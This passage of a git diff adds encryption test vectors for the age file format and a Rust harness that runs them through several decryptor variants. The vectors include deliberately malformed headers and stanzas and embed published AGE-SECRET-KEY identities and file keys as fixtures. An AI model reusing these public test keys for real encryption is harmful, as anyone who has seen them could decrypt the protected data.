0000000..3eeb8bc --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_lowercase @@ -0,0 +1,10 @@ +expect: no match +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: the first argument in the X25519 stanza is lowercase + +age-encryption.org/v1 +-> x25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- SwXKO3dXLh9l5QiSgMWgPhCkwstT8oB4jLDv7aBgC+c +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_multiple_recipients b/lib/rage/age/tests/testdata/testkit/x25519_multiple_recipients new file mode 100644 index 0000000..27c772c --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_multiple_recipients @@ -0,0 +1,12 @@ +expect: success +payload: 013f54400c82da08037759ada907a8b864e97de81c088a182062c4b5622fd2ab +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 ajtqAvDEkVNr2B7zUOtq2mAQXDSBlNrVAuM/dKb5sT4 +0evrK/HQXVsQ4YaDe+659l5OQzvAzD2ytLGHQLQiqxg +-> X25519 0qC7u6AbLxuwnM8tPFOWVtWZn/ZZe7z7gcsP5kgA0FI +T/PZg76MmVt2IaLntrxppzDnzeFDYHsHFcnTnhbRLQ8 +--- 7W07ef2PhsTAl74pn+9vSj/Xzukwa6SuTqMc16cdBk0 +ð¸¾5TB9™ ­€„–Ko•Ãm³^OYØøž<òo-¥B \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_no_match b/lib/rage/age/tests/testdata/testkit/x25519_no_match new file mode 100644 index 0000000..1bf961f --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_no_match @@ -0,0 +1,9 @@ +expect: no match +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-143WN7DCXU4G8R5AXQSSYD9AEPYDNT3HXSLWSPK36CDU6E8M59SSSAGZ3KG + +age-encryption.org/v1 +-> X25519 ajtqAvDEkVNr2B7zUOtq2mAQXDSBlNrVAuM/dKb5sT4 +HUKtz0R2j5Bl2ER7HhAZrURikCFpiIjNa0KjHcjbAGU +--- rrpTlvKEKrK3EqhoOPJeP1KE8O1d2arrRez77mwekRc +ÝßrÐo¼«Wß= 1$–­!Œ×ýo€x»ø-ØyG^·½^ˆ \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_not_canonical_body b/lib/rage/age/tests/testdata/testkit/x25519_not_canonical_body new file mode 100644 index 0000000..11138db --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_not_canonical_body @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: the base64 encoding of the share is not canonical + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7V +--- eSjjCjQyp30yHDPwCztKS+1txs+aoCa5ERz8jeEp+9A +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_not_canonical_share b/lib/rage/age/tests/testdata/testkit/x25519_not_canonical_share new file mode 100644 index 0000000..0b2a08d --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_not_canonical_share @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 +comment: the base64 encoding of the share is not canonical + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCd +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- AO6haEGU6BGJ8Tzeqnr2fSLEo31JrWodGtZuCZmijI8 +îÏbÇΑ´3'NhÔòùL·L[þ÷¾ªRÈð¼™,ƒ1ûf \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/x25519_short_share b/lib/rage/age/tests/testdata/testkit/x25519_short_share new file mode 100644 index 0000000..7feb27e --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/x25519_short_share @@ -0,0 +1,10 @@ +expect: header failure +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1EGTZVFFV20835NWYV6270LXYVK2VKNX2MMDKWYKLMGR48UAWX40Q2P2LM0 +comment: a trailing zero is missing from the X25519 share + +age-encryption.org/v1 +-> X25519 l7o4oTX9X5E3/KODa/7CQ0CrA9fKMWsm9IJjYzSlJg +yUGP5aPob6YJ+vzRfBtDT9D1K/wmyheZE/Xl/mDSKA4 +--- Zn1/VRtHpD93HtIXSv1S++POXeKcQF7w1+hpXhMiAbk +¬]?7åPqÓ¦ F—¹ •Â÷õÛ®è zŒ(rŠóÎ| \ No newline at end of file diff --git a/lib/rage/age/tests/testkit.rs b/lib/rage/age/tests/testkit.rs new file mode 100644 index 0000000..d169087 --- /dev/null +++ b/lib/rage/age/tests/testkit.rs @@ -0,0 +1,810 @@ +use std::{ + fs::File, + io::{self, BufRead, BufReader, Read}, + str::FromStr, +}; + +use age::{ + armor::{ArmoredReadError, ArmoredReader}, + scrypt, + secrecy::SecretString, + x25519, DecryptError, Decryptor, Identity, +}; +use futures::AsyncReadExt; +use sha2::{Digest, Sha256}; +use test_case::test_case; + +#[test_case("armor")] +#[test_case("armor_crlf")] +#[test_case("armor_empty_line_begin")] +#[test_case("armor_empty_line_end")] +#[test_case("armor_eol_between_padding")] +#[test_case("armor_full_last_line")] +#[test_case("armor_garbage_encoded")] +#[test_case("armor_garbage_leading")] +#[test_case("armor_garbage_trailing")] +#[test_case("armor_header_crlf")] +#[test_case("armor_headers")] +#[test_case("armor_invalid_character_header")] +#[test_case("armor_invalid_character_payload")] +#[test_case("armor_long_line")] +#[test_case("armor_lowercase")] +#[test_case("armor_no_end_line")] +#[test_case("armor_no_eol")] +#[test_case("armor_no_match")] +#[test_case("armor_no_padding")] +#[test_case("armor_not_canonical")] +#[test_case("armor_pgp_checksum")] +#[test_case("armor_short_line")] +#[test_case("armor_whitespace_begin")] +#[test_case("armor_whitespace_end")] +#[test_case("armor_whitespace_eol")] +#[test_case("armor_whitespace_last_line")] +#[test_case("armor_whitespace_line_start")] +#[test_case("armor_whitespace_outside")] +#[test_case("armor_wrong_type")] +#[test_case("header_crlf")] +#[test_case("hmac_bad")] +#[test_case("hmac_extra_space")] +#[test_case("hmac_garbage")] +#[test_case("hmac_missing")] +#[test_case("hmac_no_space")] +#[test_case("hmac_not_canonical")] +#[test_case("hmac_trailing_space")] +#[test_case("hmac_truncated")] +#[test_case("scrypt")] +#[test_case("scrypt_and_x25519")] +#[test_case("scrypt_bad_tag")] +#[test_case("scrypt_double")] +#[test_case("scrypt_extra_argument")] +#[test_case("scrypt_long_file_key")] +#[test_case("scrypt_no_match")] +#[test_case("scrypt_not_canonical_body")] +#[test_case("scrypt_not_canonical_salt")] +#[test_case("scrypt_salt_long")] +#[test_case("scrypt_salt_missing")] +#[test_case("scrypt_salt_short")] +#[test_case("scrypt_uppercase")] +#[test_case("scrypt_work_factor_23")] +#[test_case("scrypt_work_factor_hex")] +#[test_case("scrypt_work_factor_leading_garbage")] +#[test_case("scrypt_work_factor_leading_plus")] +#[test_case("scrypt_work_factor_leading_zero_decimal")] +#[test_case("scrypt_work_factor_leading_zero_octal")] +#[test_case("scrypt_work_factor_missing")] +#[test_case("scrypt_work_factor_negative")] +#[test_case("scrypt_work_factor_overflow")] +#[test_case("scrypt_work_factor_trailing_garbage")] +#[test_case("scrypt_work_factor_wrong")] +#[test_case("scrypt_work_factor_zero")] +#[test_case("stanza_bad_start")] +#[test_case("stanza_base64_padding")] +#[test_case("stanza_empty_argument")] +#[test_case("stanza_empty_body")] +#[test_case("stanza_empty_last_line")] +#[test_case("stanza_invalid_character")] +#[test_case("stanza_long_line")] +#[test_case("stanza_missing_body")] +#[test_case("stanza_missing_final_line")] +#[test_case("stanza_multiple_short_lines")] +#[test_case("stanza_no_arguments")] +#[test_case("stanza_not_canonical")] +#[test_case("stanza_spurious_cr")] +#[test_case("stanza_valid_characters")] +#[test_case("stream_bad_tag")] +#[test_case("stream_bad_tag_second_chunk")] +#[test_case("stream_bad_tag_second_chunk_full")] +#[test_case("stream_empty_payload")] +#[test_case("stream_last_chunk_empty")] +#[test_case("stream_last_chunk_full")] +#[test_case("stream_last_chunk_full_second")] +#[test_case("stream_missing_tag")] +#[test_case("stream_no_chunks")] +#[test_case("stream_no_final")] +#[test_case("stream_no_final_full")] +#[test_case("stream_no_final_two_chunks")] +#[test_case("stream_no_final_two_chunks_full")] +#[test_case("stream_no_nonce")] +#[test_case("stream_short_chunk")] +#[test_case("stream_short_nonce")] +#[test_case("stream_short_second_chunk")] +#[test_case("stream_three_chunks")] +#[test_case("stream_trailing_garbage_long")] +#[test_case("stream_trailing_garbage_short")] +#[test_case("stream_two_chunks")] +#[test_case("stream_two_final_chunks")] +#[test_case("version_unsupported")] +#[test_case("x25519")] +#[test_case("x25519_bad_tag")] +#[test_case("x25519_extra_argument")] +#[test_case("x25519_grease")] +#[test_case("x25519_identity")] +#[test_case("x25519_long_file_key")] +#[test_case("x25519_long_share")] +#[test_case("x25519_lowercase")] +#[test_case("x25519_low_order")] +#[test_case("x25519_multiple_recipients")] +#[test_case("x25519_no_match")] +#[test_case("x25519_not_canonical_body")] +#[test_case("x25519_not_canonical_share")] +#[test_case("x25519_short_share")] +fn testkit(filename: &str) { + let testfile = TestFile::parse(filename); + let comment = format_testkit_comment(&testfile); + + match Decryptor::new(ArmoredReader::new(&testfile.age_file[..])).and_then(|d| { + if !d.is_scrypt() { + let identities = get_testkit_identities(filename, &testfile); + d.decrypt(identities.iter().map(|i| i as &dyn Identity)) + } else { + let passphrase = get_testkit_passphrase(&testfile, &comment); + let mut identity = scrypt::Identity::new(passphrase); + identity.set_max_work_factor(16); + d.decrypt(Some(&identity as _).into_iter()) + } + }) { + Ok(mut r) => { + let mut payload = vec![]; + let res = r.read_to_end(&mut payload); + check_decrypt_success(filename, testfile, &comment, res, &payload); + } + Err(e) => check_decrypt_error(filename, testfile, e), + } +} + +#[test_case("armor")] +#[test_case("armor_crlf")] +#[test_case("armor_empty_line_begin")] +#[test_case("armor_empty_line_end")] +#[test_case("armor_eol_between_padding")] +#[test_case("armor_full_last_line")] +#[test_case("armor_garbage_encoded")] +#[test_case("armor_garbage_leading")] +#[test_case("armor_garbage_trailing")] +#[test_case("armor_header_crlf")] +#[test_case("armor_headers")] +#[test_case("armor_invalid_character_header")] +#[test_case("armor_invalid_character_payload")] +#[test_case("armor_long_line")] +#[test_case("armor_lowercase")] +#[test_case("armor_no_end_line")] +#[test_case("armor_no_eol")] +#[test_case("armor_no_match")] +#[test_case("armor_no_padding")] +#[test_case("armor_not_canonical")] +#[test_case("armor_pgp_checksum")] +#[test_case("armor_short_line")] +#[test_case("armor_whitespace_begin")] +#[test_case("armor_whitespace_end")] +#[test_case("armor_whitespace_eol")] +#[test_case("armor_whitespace_last_line")] +#[test_case("armor_whitespace_line_start")] +#[test_case("armor_whitespace_outside")] +#[test_case("armor_wrong_type")] +#[test_case("header_crlf")] +#[test_case("hmac_bad")] +#[test_case("hmac_extra_space")] +#[test_case("hmac_garbage")] +#[test_case("hmac_missing")] +#[test_case("hmac_no_space")] +#[test_case("hmac_not_canonical")] +#[test_case("hmac_trailing_space")] +#[test_case("hmac_truncated")] +#[test_case("scrypt")] +#[test_case("scrypt_and_x25519")] +#[test_case("scrypt_bad_tag")] +#[test_case("scrypt_double")] +#[test_case("scrypt_extra_argument")] +#[test_case("scrypt_long_file_key")] +#[test_case("scrypt_no_match")] +#[test_case("scrypt_not_canonical_body")] +#[test_case("scrypt_not_canonical_salt")] +#[test_case("scrypt_salt_long")] +#[test_case("scrypt_salt_missing")] +#[test_case("scrypt_salt_short")] +#[test_case("scrypt_uppercase")] +#[test_case("scrypt_work_factor_23")] +#[test_case("scrypt_work_factor_hex")] +#[test_case("scrypt_work_factor_leading_garbage")] +#[test_case("scrypt_work_factor_leading_plus")] +#[test_case("scrypt_work_factor_leading_zero_decimal")] +#[test_case("scrypt_work_factor_leading_zero_octal")] +#[test_case("scrypt_work_factor_missing")] +#[test_case("scrypt_work_factor_negative")] +#[test_case("scrypt_work_factor_overflow")] +#[test_case("scrypt_work_factor_trailing_garbage")] +#[test_case("scrypt_work_factor_wrong")] +#[test_case("scrypt_work_factor_zero")] +#[test_case("stanza_bad_start")] +#[test_case("stanza_base64_padding")] +#[test_case("stanza_empty_argument")] +#[test_case("stanza_empty_body")] +#[test_case("stanza_empty_last_line")] +#[test_case("stanza_invalid_character")] +#[test_case("stanza_long_line")] +#[test_case("stanza_missing_body")] +#[test_case("stanza_missing_final_line")] +#[test_case("stanza_multiple_short_lines")] +#[test_case("stanza_no_arguments")] +#[test_case("stanza_not_canonical")] +#[test_case("stanza_spurious_cr")] +#[test_case("stanza_valid_characters")] +#[test_case("stream_bad_tag")] +#[test_case("stream_bad_tag_second_chunk")] +#[test_case("stream_bad_tag_second_chunk_full")] +#[test_case("stream_empty_payload")] +#[test_case("stream_last_chunk_empty")] +#[test_case("stream_last_chunk_full")] +#[test_case("stream_last_chunk_full_second")] +#[test_case("stream_missing_tag")] +#[test_case("stream_no_chunks")] +#[test_case("stream_no_final")] +#[test_case("stream_no_final_full")] +#[test_case("stream_no_final_two_chunks")] +#[test_case("stream_no_final_two_chunks_full")] +#[test_case("stream_no_nonce")] +#[test_case("stream_short_chunk")] +#[test_case("stream_short_nonce")] +#[test_case("stream_short_second_chunk")] +#[test_case("stream_three_chunks")] +#[test_case("stream_trailing_garbage_long")] +#[test_case("stream_trailing_garbage_short")] +#[test_case("stream_two_chunks")] +#[test_case("stream_two_final_chunks")] +#[test_case("version_unsupported")] +#[test_case("x25519")] +#[test_case("x25519_bad_tag")] +#[test_case("x25519_extra_argument")] +#[test_case("x25519_grease")] +#[test_case("x25519_identity")] +#[test_case("x25519_long_file_key")] +#[test_case("x25519_long_share")] +#[test_case("x25519_lowercase")] +#[test_case("x25519_low_order")] +#[test_case("x25519_multiple_recipients")] +#[test_case("x25519_no_match")] +#[test_case("x25519_not_canonical_body")] +#[test_case("x25519_not_canonical_share")] +#[test_case("x25519_short_share")] +fn testkit_buffered(filename: &str) { + let testfile = TestFile::parse(filename); + let comment = format_testkit_comment(&testfile); + + match Decryptor::new_buffered(ArmoredReader::new(&testfile.age_file[..])).and_then(|d| { + if !d.is_scrypt() { + let identities = get_testkit_identities(filename, &testfile); + d.decrypt(identities.iter().map(|i| i as &dyn Identity)) + } else { + let passphrase = get_testkit_passphrase(&testfile, &comment); + let mut identity = scrypt::Identity::new(passphrase); + identity.set_max_work_factor(16); + d.decrypt(Some(&identity as _).into_iter()) + } + }) { + Ok(mut r) => { + let mut payload = vec![]; + let res = io::Read::read_to_end(&mut r, &mut payload); + check_decrypt_success(filename, testfile, &comment, res, &payload); + } + Err(e) => check_decrypt_error(filename, testfile, e), + } +} + +#[test_case("armor")] +#[test_case("armor_crlf")] +#[test_case("armor_empty_line_begin")] +#[test_case("armor_empty_line_end")] +#[test_case("armor_eol_between_padding")] +#[test_case("armor_full_last_line")] +#[test_case("armor_garbage_encoded")] +#[test_case("armor_garbage_leading")] +#[test_case("armor_garbage_trailing")] +#[test_case("armor_header_crlf")] +#[test_case("armor_headers")] +#[test_case("armor_invalid_character_header")] +#[test_case("armor_invalid_character_payload")] +#[test_case("armor_long_line")] +#[test_case("armor_lowercase")] +#[test_case("armor_no_end_line")] +#[test_case("armor_no_eol")] +#[test_case("armor_no_match")] +#[test_case("armor_no_padding")] +#[test_case("armor_not_canonical")] +#[test_case("armor_pgp_checksum")] +#[test_case("armor_short_line")] +#[test_case("armor_whitespace_begin")] +#[test_case("armor_whitespace_end")] +#[test_case("armor_whitespace_eol")] +#[test_case("armor_whitespace_last_line")] +#[test_case("armor_whitespace_line_start")] +#[test_case("armor_whitespace_outside")] +#[test_case("armor_wrong_type")] +#[test_case("header_crlf")] +#[test_case("hmac_bad")] +#[test_case("hmac_extra_space")] +#[test_case("hmac_garbage")] +#[test_case("hmac_missing")] +#[test_case("hmac_no_space")] +#[test_case("hmac_not_canonical")] +#[test_case("hmac_trailing_space")] +#[test_case("hmac_truncated")] +#[test_case("scrypt")] +#[test_case("scrypt_and_x25519")] +#[test_case("scrypt_bad_tag")] +#[test_case("scrypt_double")] +#[test_case("scrypt_extra_argument")] +#[test_case("scrypt_long_file_key")] +#[test_case("scrypt_no_match")] +#[test_case("scrypt_not_canonical_body")] +#[test_case("scrypt_not_canonical_salt")] +#[test_case("scrypt_salt_long")] +#[test_case("scrypt_salt_missing")] +#[test_case("scrypt_salt_short")] +#[test_case("scrypt_uppercase")] +#[test_case("scrypt_work_factor_23")] +#[test_case("scrypt_work_factor_hex")] +#[test_case("scrypt_work_factor_leading_garbage")] +#[test_case("scrypt_work_factor_leading_plus")] +#[test_case("scrypt_work_factor_leading_zero_decimal")] +#[test_case("scrypt_work_factor_leading_zero_octal")] +#[test_case("scrypt_work_factor_missing")] +#[test_case("scrypt_work_factor_negative")] +#[test_case("scrypt_work_factor_overflow")] +#[test_case("scrypt_work_factor_trailing_garbage")] +#[test_case("scrypt_work_factor_wrong")] +#[test_case("scrypt_work_factor_zero")] +#[test_case("stanza_bad_start")] +#[test_case("stanza_base64_padding")] +#[test_case("stanza_empty_argument")] +#[test_case("stanza_empty_body")] +#[test_case("stanza_empty_last_line")] +#[test_case("stanza_invalid_character")] +#[test_case("stanza_long_line")] +#[test_case("stanza_missing_body")] +#[test_case("stanza_missing_final_line")] +#[test_case("stanza_multiple_short_lines")] +#[test_case("stanza_no_arguments")] +#[test_case("stanza_not_canonical")] +#[test_case("stanza_spurious_cr")] +#[test_case("stanza_valid_characters")] +#[test_case("stream_bad_tag")] +#[test_case("stream_bad_tag_second_chunk")] +#[test_case("stream_bad_tag_second_chunk_full")] +#[test_case("stream_empty_payload")] +#[test_case("stream_last_chunk_empty")] +#[test_case("stream_last_chunk_full")] +#[test_case("stream_last_chunk_full_second")] +#[test_case("stream_missing_tag")] +#[test_case("stream_no_chunks")] +#[test_case("stream_no_final")] +#[test_case("stream_no_final_full")] +#[test_case("stream_no_final_two_chunks")] +#[test_case("stream_no_final_two_chunks_full")] +#[test_case("stream_no_nonce")] +#[test_case("stream_short_chunk")] +#[test_case("stream_short_nonce")] +#[test_case("stream_short_second_chunk")] +#[test_case("stream_three_chunks")] +#[test_case("stream_trailing_garbage_long")] +#[test_case("stream_trailing_garbage_short")] +#[test_case("stream_two_chunks")] +#[test_case("stream_two_final_chunks")] +#[test_case("version_unsupported")] +#[test_case("x25519")] +#[test_case("x25519_bad_tag")] +#[test_case("x25519_extra_argument")] +#[test_case("x25519_grease")] +#[test_case("x25519_identity")] +#[test_case("x25519_long_file_key")] +#[test_case("x25519_long_share")] +#[test_case("x25519_lowercase")] +#[test_case("x25519_low_order")] +#[test_case("x25519_multiple_recipients")] +#[test_case("x25519_no_match")] +#[test_case("x25519_not_canonical_body")] +#[test_case("x25519_not_canonical_share")] +#[test_case("x25519_short_share")] +#[tokio::test] +async fn testkit_async(filename: &str) { + let testfile = TestFile::parse(filename); + let comment = format_testkit_comment(&testfile); + + match Decryptor::new_async(ArmoredReader::from_async_reader(&testfile.age_file[..])) + .await + .and_then(|d| { + if !d.is_scrypt() { + let identities = get_testkit_identities(filename, &testfile); + d.decrypt_async(identities.iter().map(|i| i as &dyn Identity)) + } else { + let passphrase = get_testkit_passphrase(&testfile, &comment); + let mut identity = scrypt::Identity::new(passphrase); + identity.set_max_work_factor(16); + d.decrypt_async(Some(&identity as _).into_iter()) + } + }) { + Ok(mut r) => { + let mut payload = vec![]; + let res = r.read_to_end(&mut payload).await; + check_decrypt_success(filename, testfile, &comment, res, &payload); + } + Err(e) => check_decrypt_error(filename, testfile, e), + } +} + +#[test_case("armor")] +#[test_case("armor_crlf")] +#[test_case("armor_empty_line_begin")] +#[test_case("armor_empty_line_end")] +#[test_case("armor_eol_between_padding")] +#[test_case("armor_full_last_line")] +#[test_case("armor_garbage_encoded")] +#[test_case("armor_garbage_leading")] +#[test_case("armor_garbage_trailing")] +#[test_case("armor_header_crlf")] +#[test_case("armor_headers")] +#[test_case("armor_invalid_character_header")] +#[test_case("armor_invalid_character_payload")] +#[test_case("armor_long_line")] +#[test_case("armor_lowercase")] +#[test_case("armor_no_end_line")] +#[test_case("armor_no_eol")] +#[test_case("armor_no_match")] +#[test_case("armor_no_padding")] +#[test_case("armor_not_canonical")] +#[test_case("armor_pgp_checksum")] +#[test_case("armor_short_line")] +#[test_case("armor_whitespace_begin")] +#[test_case("armor_whitespace_end")] +#[test_case("armor_whitespace_eol")] +#[test_case("armor_whitespace_last_line")] +#[test_case("armor_whitespace_line_start")] +#[test_case("armor_whitespace_outside")] +#[test_case("armor_wrong_type")] +#[test_case("header_crlf")] +#[test_case("hmac_bad")] +#[test_case("hmac_extra_space")] +#[test_case("hmac_garbage")] +#[test_case("hmac_missing")] +#[test_case("hmac_no_space")] +#[test_case("hmac_not_canonical")] +#[test_case("hmac_trailing_space")] +#[test_case("hmac_truncated")] +#[test_case("scrypt")] +#[test_case("scrypt_and_x25519")] +#[test_case("scrypt_bad_tag")] +#[test_case("scrypt_double")] +#[test_case("scrypt_extra_argument")] +#[test_case("scrypt_long_file_key")] +#[test_case("scrypt_no_match")] +#[test_case("scrypt_not_canonical_body")] +#[test_case("scrypt_not_canonical_salt")] +#[test_case("scrypt_salt_long")] +#[test_case("scrypt_salt_missing")] +#[test_case("scrypt_salt_short")] +#[test_case("scrypt_uppercase")] +#[test_case("scrypt_work_factor_23")] +#[test_case("scrypt_work_factor_hex")] +#[test_case("scrypt_work_factor_leading_garbage")] +#[test_case("scrypt_work_factor_leading_plus")] +#[test_case("scrypt_work_factor_leading_zero_decimal")] +#[test_case("scrypt_work_factor_leading_zero_octal")] +#[test_case("scrypt_work_factor_missing")] +#[test_case("scrypt_work_factor_negative")] +#[test_case("scrypt_work_factor_overflow")] +#[test_case("scrypt_work_factor_trailing_garbage")] +#[test_case("scrypt_work_factor_wrong")] +#[test_case("scrypt_work_factor_zero")] +#[test_case("stanza_bad_start")] +#[test_case("stanza_base64_padding")] +#[test_case("stanza_empty_argument")] +#[test_case("stanza_empty_body")] +#[test_case("stanza_empty_last_line")] +#[test_case("stanza_invalid_character")] +#[test_case("stanza_long_line")] +#[test_case("stanza_missing_body")] +#[test_case("stanza_missing_final_line")] +#[test_case("stanza_multiple_short_lines")] +#[test_case("stanza_no_arguments")] +#[test_case("stanza_not_canonical")] +#[test_case("stanza_spurious_cr")] +#[test_case("stanza_valid_characters")] +#[test_case("stream_bad_tag")] +#[test_case("stream_bad_tag_second_chunk")] +#[test_case("stream_bad_tag_second_chunk_full")] +#[test_case("stream_empty_payload")] +#[test_case("stream_last_chunk_empty")] +#[test_case("stream_last_chunk_full")] +#[test_case("stream_last_chunk_full_second")] +#[test_case("stream_missing_tag")] +#[test_case("stream_no_chunks")] +#[test_case("stream_no_final")] +#[test_case("stream_no_final_full")] +#[test_case("stream_no_final_two_chunks")] +#[test_case("stream_no_final_two_chunks_full")] +#[test_case("stream_no_nonce")] +#[test_case("stream_short_chunk")] +#[test_case("stream_short_nonce")] +#[test_case("stream_short_second_chunk")] +#[test_case("stream_three_chunks")] +#[test_case("stream_trailing_garbage_long")] +#[test_case("stream_trailing_garbage_short")] +#[test_case("stream_two_chunks")] +#[test_case("stream_two_final_chunks")] +#[test_case("version_unsupported")] +#[test_case("x25519")] +#[test_case("x25519_bad_tag")] +#[test_case("x25519_extra_argument")] +#[test_case("x25519_grease")] +#[test_case("x25519_identity")] +#[test_case("x25519_long_file_key")] +#[test_case("x25519_long_share")] +#[test_case("x25519_lowercase")] +#[test_case("x25519_low_order")] +#[test_case("x25519_multiple_recipients")] +#[test_case("x25519_no_match")] +#[test_case("x25519_not_canonical_body")] +#[test_case("x25519_not_canonical_share")] +#[test_case("x25519_short_share")] +#[tokio::test] +async fn testkit_async_buffered(filename: &str) { + let testfile = TestFile::parse(filename); + let comment = format_testkit_comment(&testfile); + + match Decryptor::new_async_buffered(ArmoredReader::from_async_reader(&testfile.age_file[..])) + .await + .and_then(|d| { + if !d.is_scrypt() { + let identities = get_testkit_identities(filename, &testfile); + d.decrypt_async(identities.iter().map(|i| i as &dyn Identity)) + } else { + let passphrase = get_testkit_passphrase(&testfile, &comment); + let mut identity = scrypt::Identity::new(passphrase); + identity.set_max_work_factor(16); + d.decrypt_async(Some(&identity as _).into_iter()) + } + }) { + Ok(mut r) => { + let mut payload = vec![]; + let res = r.read_to_end(&mut payload).await; + check_decrypt_success(filename, testfile, &comment, res, &payload); + } + Err(e) => check_decrypt_error(filename, testfile, e), + } +} + +fn format_testkit_comment(testfile: &TestFile) -> String { + testfile + .comment + .as_ref() + .map(|c| format!(" ({})", c)) + .unwrap_or_default() +} + +fn get_testkit_identities(filename: &str, testfile: &TestFile) -> Vec { + assert_eq!( + testfile.passphrases.len(), + // `scrypt_uppercase` uses the stanza tag `Scrypt` instead of `scrypt`, so + // even though there is a valid passphrase, the decryptor treats it as a + // different recipient stanza kind. + usize::from(filename == "scrypt_uppercase") + ); + testfile + .identities + .iter() + .map(|s| s.as_str()) + .map(x25519::Identity::from_str) + .collect::>() + .unwrap() +} + +fn get_testkit_passphrase(testfile: &TestFile, comment: &str) -> SecretString { + assert_eq!(testfile.identities.len(), 0); + match testfile.passphrases.len() { + 0 => panic!("Test file is missing passphrase{}", comment), + 1 => testfile.passphrases.get(0).cloned().unwrap().into(), + n => panic!("Too many passphrases ({}){}", n, comment), + } +} + +fn check_decrypt_success( + filename: &str, + testfile: TestFile, + comment: &str, + res: io::Result, + payload: &[u8], +) { + match (res, testfile.expect) { + (Ok(_), Expect::Success { payload_sha256 }) => { + assert_eq!(Sha256::digest(payload)[..], payload_sha256); + } + // These testfile failures are expected, because we maintains support for + // parsing legacy age stanzas without an explicit short final line. + (Ok(_), Expect::HeaderFailure) + if ["stanza_missing_body", "stanza_missing_final_line"].contains(&filename) => {} + (Err(e), Expect::ArmorFailure) => { + assert_eq!(e.kind(), io::ErrorKind::InvalidData); + assert_eq!( + e.into_inner().map(|inner| inner.is::()), + Some(true) + ); + } + (Err(e), Expect::PayloadFailure { payload_sha256 }) => { + assert_eq!( + e.kind(), + if [ + "stream_no_chunks", + "stream_no_final_full", + "stream_no_final_two_chunks_full", + ] + .contains(&filename) + { + io::ErrorKind::UnexpectedEof + } else { + io::ErrorKind::InvalidData + } + ); + // The tests with this expectation are checking that no partial STREAM + // blocks are written to the payload. + assert_eq!(Sha256::digest(payload)[..], payload_sha256); + } + (actual, expected) => panic!( + "Expected {:?}, got {}{}", + expected, + if actual.is_ok() { + format!("payload '{}'", String::from_utf8_lossy(payload)) + } else { + format!("{:?}", actual) + }, + comment, + ), + } +} + +fn check_decrypt_error(filename: &str, testfile: TestFile, e: DecryptError) { + match e { + DecryptError::InvalidHeader => { + // `ArmoredReader` is a transparent wrapper around an `io::Read` and + // only runs de-armoring if it detects the expected begin marker. + // This leaves a hole in error detection: if the begin marker is invalid, + // then the test case will be rejected by the inner age header parsing + // with `DecryptError::InvalidHeader`. However, we can't simply treat + // these as "armor failed" because there are test cases where the armor is + // valid but the contained age file is invalid. We hard-code the list of + // test cases with invalid begin markers to cover this hole. + if testfile.armored + && [ + "armor_garbage_leading", + "armor_lowercase", + "armor_whitespace_begin", + "armor_wrong_type", + ] + .contains(&filename) + { + assert_eq!(testfile.expect, Expect::ArmorFailure); + } else if testfile.armored && ["armor_whitespace_outside"].contains(&filename) { + // This decryption error is expected, because we do not support parsing + // armored files with leading whitespace (due to how we detect armoring). + } else { + assert_eq!(testfile.expect, Expect::HeaderFailure); + } + } + DecryptError::Io(e) => { + let kind = e.kind(); + if e.into_inner().map(|inner| inner.is::()) == Some(true) { + assert_eq!(kind, io::ErrorKind::InvalidData); + assert_eq!(testfile.expect, Expect::ArmorFailure); + } else { + assert_eq!(testfile.expect, Expect::HeaderFailure); + } + } + DecryptError::ExcessiveWork { .. } | DecryptError::UnknownFormat => { + assert_eq!(testfile.expect, Expect::HeaderFailure) + } + DecryptError::InvalidMac => assert_eq!(testfile.expect, Expect::HmacFailure), + DecryptError::DecryptionFailed | DecryptError::NoMatchingKeys => { + assert_eq!(testfile.expect, Expect::NoMatch) + } + DecryptError::KeyDecryptionFailed => todo!(), + #[cfg(feature = "plugin")] + DecryptError::MissingPlugin { .. } => todo!(), + #[cfg(feature = "plugin")] + DecryptError::Plugin(_) => todo!(), + } +} + +#[derive(Debug, PartialEq, Eq)] +enum Expect { + Success { payload_sha256: [u8; 32] }, + ArmorFailure, + HeaderFailure, + HmacFailure, + NoMatch, + PayloadFailure { payload_sha256: [u8; 32] }, +} + +struct TestFile { + expect: Expect, + identities: Vec, + passphrases: 